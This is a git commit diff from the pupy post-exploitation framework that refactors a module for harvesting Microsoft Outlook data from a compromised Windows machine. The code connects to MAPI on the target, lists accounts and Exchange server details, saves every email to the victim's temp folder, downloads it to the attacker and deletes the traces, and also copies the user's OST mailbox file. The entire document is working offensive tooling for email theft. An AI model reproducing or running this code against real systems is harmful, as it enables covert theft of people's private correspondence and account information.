mirror of https://github.com/n1nj4sec/pupy.git
Outlook module as a package (better performances)
This commit is contained in:
parent
ca83bce6b0
commit
78e90fac4b
|
@ -4,8 +4,8 @@
|
|||
|
||||
import os
|
||||
from pupylib.PupyModule import *
|
||||
from rpyc.utils.classic import upload
|
||||
from modules.lib.windows.outlook import outlook
|
||||
from rpyc.utils.classic import download
|
||||
from pupylib.utils.term import colorize
|
||||
__class_name__="Outlook"
|
||||
|
||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
|
||||
|
@ -15,6 +15,10 @@ class Outlook(PupyModule):
|
|||
'''
|
||||
'''
|
||||
dependencies=["win32api","win32com","pythoncom","winerror"]
|
||||
|
||||
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
|
||||
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
|
||||
|
||||
def init_argparse(self):
|
||||
'''
|
||||
'''
|
||||
|
@ -23,57 +27,77 @@ class Outlook(PupyModule):
|
|||
self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders")
|
||||
self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)")
|
||||
self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)")
|
||||
self.arg_parser.add_argument('-t', dest='doawnloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
|
||||
self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
|
||||
self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-otype', choices=list(self.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
|
||||
|
||||
def run(self, args):
|
||||
'''
|
||||
'''
|
||||
try:
|
||||
self.client.conn.modules['win32com.client'].Dispatch("Outlook.Application").GetNamespace("MAPI")
|
||||
self.success("Outlook application seems to be installed on the target")
|
||||
except Exception,e:
|
||||
logging.info("Outlook Application is probably not installed on this target. Impossible to continue...\n{0}".format(repr(e)))
|
||||
self.client.load_package("outlook")
|
||||
localFolder=args.localOutputFolder
|
||||
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':','')))
|
||||
if not os.path.exists(self.localFolder):
|
||||
logging.debug("Creating the {0} folder locally".format(self.localFolder))
|
||||
os.makedirs(self.localFolder)
|
||||
if args.folderId != None:
|
||||
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
|
||||
outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
|
||||
if args.downloadOST == True:
|
||||
self.success("Trying to download Outlook OST file of the targeted current user")
|
||||
paths = outlook.getPathToOSTFiles()
|
||||
if len(paths)>0:
|
||||
localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum()))
|
||||
self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath))
|
||||
download(self.client.conn, paths[0][1], localPath)
|
||||
self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath))
|
||||
else:
|
||||
self.error("OST file not found or an error occured")
|
||||
if outlook.outlookIsInstalled() == True:
|
||||
self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...")
|
||||
if outlook.connect() == True:
|
||||
self.success("Connected to outlook application trough MAPI")
|
||||
else:
|
||||
self.error("Impossible to connect to outlook application trough MAPI. Abording!")
|
||||
return
|
||||
else:
|
||||
self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!")
|
||||
return
|
||||
if args.information == True:
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder])
|
||||
info = outl.getInformation()
|
||||
info = outlook.getInformation()
|
||||
for key, value in info.iteritems():
|
||||
self.success("{0}: {1}".format(key, value))
|
||||
outl.close()
|
||||
if args.folderId != None:
|
||||
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
|
||||
if args.foldersAndSubFolders == True:
|
||||
self.success("Outlook folders and subfolders:")
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder])
|
||||
outl.printFoldersAndSubFolders()
|
||||
outl.close()
|
||||
foldersAndSubFolders = outlook.getAllFolders()
|
||||
for i,folder in enumerate(foldersAndSubFolders):
|
||||
print "{0}: {1}".format(i, folder.encode('utf-8'))
|
||||
for j,subFolder in enumerate(foldersAndSubFolders[folder]):
|
||||
print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
|
||||
if args.numberOfEmails == True:
|
||||
self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId)
|
||||
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails()))
|
||||
outl.close()
|
||||
nb = outlook.getNbOfEmails()
|
||||
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb))
|
||||
if args.downloadAllEmails == True:
|
||||
self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
|
||||
nb = outl.getNbOfEmails()
|
||||
nb = outlook.getNbOfEmails()
|
||||
if nb == 0:
|
||||
self.error("This box is empty. You should choose another outlook folder")
|
||||
else:
|
||||
self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
|
||||
self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
|
||||
self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
|
||||
outl.downloadAllEmails()
|
||||
outl.close()
|
||||
if args.doawnloadOST == True:
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], autoConnectToMAPI=False)
|
||||
self.success("Trying to download Outlook OST file of the targeted current user")
|
||||
path = outl.downloadOSTFile()
|
||||
if path == None:
|
||||
self.error("OST file not found or an error occured")
|
||||
else:
|
||||
self.success("OST file downloaded from {0} to {1}".format(path, outl.localFolder))
|
||||
logging.debug("Downloading all emails")
|
||||
for i, anEmail in enumerate(outlook.getEmails()):
|
||||
aPathToMailFile, filename = outlook.getAMailFile(anEmail)
|
||||
sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green")))
|
||||
sys.stdout.flush()
|
||||
localPathToFile = os.path.join(self.localFolder, filename)
|
||||
logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile))
|
||||
download(self.client.conn, aPathToMailFile, localPathToFile)
|
||||
logging.debug("Deleting {0}".format(aPathToMailFile))
|
||||
outlook.deleteTempMailFile(aPathToMailFile)
|
||||
print "\n"
|
||||
outlook.close()
|
||||
|
|
|
@ -0,0 +1,221 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
#Author: @bobsecq
|
||||
#Contributor(s):
|
||||
|
||||
import os, logging, sys, time
|
||||
from collections import OrderedDict
|
||||
import win32com
|
||||
import win32com.client
|
||||
import glob
|
||||
|
||||
class outlook():
|
||||
'''
|
||||
'''
|
||||
|
||||
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
|
||||
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
|
||||
OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'}
|
||||
OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'}
|
||||
|
||||
def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'):
|
||||
'''
|
||||
'''
|
||||
self.outlook = None
|
||||
self.mapi = None
|
||||
self.foldersAndSubFolders = None
|
||||
self.folderId = folderId
|
||||
self.folderIndex = folderIndex
|
||||
self.msgSaveType = msgSaveType
|
||||
self.inbox = None
|
||||
self.constants = None
|
||||
self.sleepTime = sleepTime
|
||||
self.remoteTempFolder = os.path.expandvars("%TEMP%")
|
||||
|
||||
def outlookIsInstalled(self):
|
||||
'''
|
||||
returns True if Outlook is installed
|
||||
otherwise returns False
|
||||
'''
|
||||
try:
|
||||
win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
|
||||
return True
|
||||
except Exception,e:
|
||||
return False
|
||||
|
||||
|
||||
def connect(self):
|
||||
'''
|
||||
Returns True if no error
|
||||
Otherise returns False
|
||||
'''
|
||||
try:
|
||||
self.outlook = win32com.client.Dispatch("Outlook.Application")
|
||||
#self.outlook = win32com.client.gencache.EnsureDispatch("Outlook.Application")
|
||||
self.mapi = self.outlook.GetNamespace("MAPI")
|
||||
if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex)
|
||||
else : self.setFolderFromId(folderId=self.folderId)
|
||||
return True
|
||||
except Exception,e:
|
||||
return False
|
||||
|
||||
def close(self):
|
||||
'''
|
||||
'''
|
||||
logging.debug("Closing Outlook link...")
|
||||
self.outlook.Quit()
|
||||
|
||||
def getInformation(self):
|
||||
'''
|
||||
Returns Dictionnary
|
||||
'''
|
||||
info = OrderedDict()
|
||||
info['CurrentProfileName']=self.mapi.CurrentProfileName
|
||||
#info['CurrentUserAddress']=repr(self.mapi.CurrentUser) #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout
|
||||
info['SessionType']=self.outlook.Session.Type
|
||||
for i, anAccount in enumerate(self.outlook.Session.Accounts):
|
||||
info['Account{0}-DisplayName'.format(i)]=anAccount.DisplayName
|
||||
info['Account{0}-SmtpAddress'.format(i)]=anAccount.SmtpAddress
|
||||
info['Account{0}-AutoDiscoverXml'.format(i)]=anAccount.AutoDiscoverXml
|
||||
info['Account{0}-AccountType'.format(i)]=self.OL_ACCOUNT_TYPES[anAccount.AccountType]
|
||||
#info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout
|
||||
info['ExchangeMailboxServerName']=self.mapi.ExchangeMailboxServerName #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox.
|
||||
info['ExchangeMailboxServerVersion']=self.mapi.ExchangeMailboxServerVersion #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox.
|
||||
info['Offline']=self.mapi.Offline #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server)
|
||||
info['ExchangeConnectionMode']=self.OL_EXCHANGE_CONNECTION_MODE[self.mapi.ExchangeConnectionMode]
|
||||
self.mapi.SendAndReceive(True)
|
||||
print repr(self.mapi)
|
||||
return info
|
||||
|
||||
|
||||
def __getOlDefaultFoldersNameFromIndex__(self, folderIndex):
|
||||
'''
|
||||
Return None if folderIndex not found in OlDefaultFolders
|
||||
Otherwise returns Name of the folder
|
||||
'''
|
||||
found = False
|
||||
for k in self.OL_DEFAULT_FOLDERS:
|
||||
if self.OL_DEFAULT_FOLDERS[k] == folderIndex:
|
||||
return k
|
||||
return ""
|
||||
|
||||
def setDefaultFolder(self, folderIndex=None):
|
||||
'''
|
||||
See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
|
||||
Return True if done
|
||||
Otherwise returns False
|
||||
'''
|
||||
if folderIndex == None:
|
||||
folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox']
|
||||
folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex)
|
||||
if folderName == None:
|
||||
logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS))
|
||||
return False
|
||||
else:
|
||||
logging.debug("Moving outlook default folder to {0}".format(folderName))
|
||||
self.inbox = self.mapi.GetDefaultFolder(folderIndex)
|
||||
return True
|
||||
|
||||
def setFolderFromId(self, folderId):
|
||||
'''
|
||||
See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
|
||||
Return True if done
|
||||
Otherwise returns False
|
||||
'''
|
||||
if folderId == None:
|
||||
logging.error("Impossible to set Outlook folder to None")
|
||||
return False
|
||||
else:
|
||||
logging.debug("Moving outlook default folder to {0}".format(folderId))
|
||||
self.inbox = self.mapi.GetFolderFromID(folderId)
|
||||
return True
|
||||
|
||||
def getEmails(self):
|
||||
'''
|
||||
Returns a list which contains all mailitems
|
||||
'''
|
||||
emails = []
|
||||
logging.debug("Getting {0} emails...".format(self.getNbOfEmails()))
|
||||
for anEmail in self.inbox.Items:
|
||||
emails.append(anEmail)
|
||||
return emails
|
||||
|
||||
def getAMailFile(self, mailItem):
|
||||
'''
|
||||
return pathToAMailFileOnTarget, nameOftheMailFile
|
||||
'''
|
||||
ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", ""
|
||||
try:
|
||||
subjectCleaned = ''.join(l for l in mailItem.Subject.encode('ascii','ignore') if l.isalnum())
|
||||
receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_')
|
||||
except Exception,e:
|
||||
logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e)))
|
||||
filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg')
|
||||
path = os.path.join(self.remoteTempFolder,filename)
|
||||
logging.debug('Saving temporarily the email on the remote path {0}'.format(path))
|
||||
#mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG'])
|
||||
mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
|
||||
try:
|
||||
os.rename(path, path) #test if the file is not opened by another process
|
||||
except OSError as e:
|
||||
time.sleep(self.sleepTime)
|
||||
return path, filename
|
||||
|
||||
|
||||
def deleteTempMailFile(self,path):
|
||||
'''
|
||||
'''
|
||||
os.remove(path)
|
||||
|
||||
"""
|
||||
def getAllSubjects(self):
|
||||
'''
|
||||
'''
|
||||
subjects = []
|
||||
logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails()))
|
||||
for anEmail in self.inbox.Items:
|
||||
subjects.append(anEmail.Subject)
|
||||
return subjects
|
||||
"""
|
||||
|
||||
def getNbOfEmails(self):
|
||||
'''
|
||||
'''
|
||||
#nc = self.inbox.Count
|
||||
nb = len(self.inbox.Items)
|
||||
logging.debug("Getting number of emails... {0} emails".format(nb))
|
||||
return nb
|
||||
|
||||
def getAllFolders(self):
|
||||
'''
|
||||
'''
|
||||
folders = {}
|
||||
for inx, folder in enumerate(list(self.mapi.Folders)):
|
||||
logging.debug("New folder: {0}({1})".format(folder.Name, folder.EntryID))
|
||||
folders[folder.Name] = {}
|
||||
if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder
|
||||
for inx,subfolder in enumerate(list(folder.Folders)):
|
||||
logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID))
|
||||
folders[folder.Name][subfolder.Name]=subfolder.EntryID
|
||||
return folders
|
||||
|
||||
|
||||
def getPathToOSTFiles(self):
|
||||
'''
|
||||
According to https://support.office.com/en-us/article/Locating-the-Outlook-data-files-0996ece3-57c6-49bc-977b-0d1892e2aacc
|
||||
'''
|
||||
paths = []
|
||||
DEFAULT_LOCATIONS_OST = ["<drive>:\Users\<username>\AppData\Local\Microsoft\Outlook",
|
||||
"<drive>:\Documents and Settings\<username>\Local Settings\Application Data\Microsoft\Outlook"
|
||||
]
|
||||
systemDrive = os.getenv("SystemDrive")
|
||||
login = os.getenv("username")
|
||||
for aLocationOST in DEFAULT_LOCATIONS_OST :
|
||||
completeLocationOST = aLocationOST.replace("<drive>",systemDrive[:-1]).replace("<username>",login)
|
||||
regex = os.path.join(completeLocationOST,"*.ost")
|
||||
logging.debug('Searching OST file in {0}'.format(regex))
|
||||
files = glob.glob(regex)
|
||||
for aFile in files:
|
||||
ostFileFound = os.path.join(completeLocationOST,aFile)
|
||||
logging.info('OST file found in {0}'.format(ostFileFound))
|
||||
paths.append([os.path.basename(aFile), ostFileFound])
|
||||
return paths
|
Loading…
Reference in New Issue